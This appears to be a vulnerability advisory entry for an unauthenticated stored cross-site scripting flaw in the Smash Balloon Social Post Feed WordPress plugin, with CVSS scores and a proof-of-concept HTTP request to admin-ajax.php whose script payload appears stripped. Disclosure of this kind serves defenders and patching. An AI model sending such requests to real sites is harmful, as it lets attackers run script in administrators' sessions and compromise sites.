Lucene search

K
wpvulndbDc11WPVDB-ID:2B543740-D4B0-49B5-A021-454A3A72162F
HistoryAug 16, 2021 - 12:00 a.m.

Smash Balloon Social Post Feed < 2.19.2 - Unauthenticated Stored XSS

2021-08-1600:00:00
dc11
wpscan.com
20

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

The plugin does not sanitise or escape the feedID POST parameter in its feed_locator AJAX action (available to both authenticated and unauthenticated users) before outputting a truncated version of it in the admin dashboard, leading to an unauthenticated Stored Cross-Site Scripting issue which will be executed in the context of a logged in administrator.

PoC

For the attack to be successful, the following requirements need to be meet - Max payload size: 31 characters - feedID parameter length must be greater than 31 characters to trigger the echo of unescaped data - The shortCodeAtts parameter value must be uniq POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 192 Connection: close action=feed_locator&feedLocatorData;[0][feedID]= &feedLocatorData;[0][shortCodeAtts]=uniq1234&feedLocatorData;[0][postID]=1&feedLocatorData;[0][location]=footer XSS will be triggered at https://example.com/wp-admin/admin.php?page=cff-top&amp;tab;=allfeeds

CPENameOperatorVersion
custom-facebook-feedlt2.19.2

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

Related for WPVDB-ID:2B543740-D4B0-49B5-A021-454A3A72162F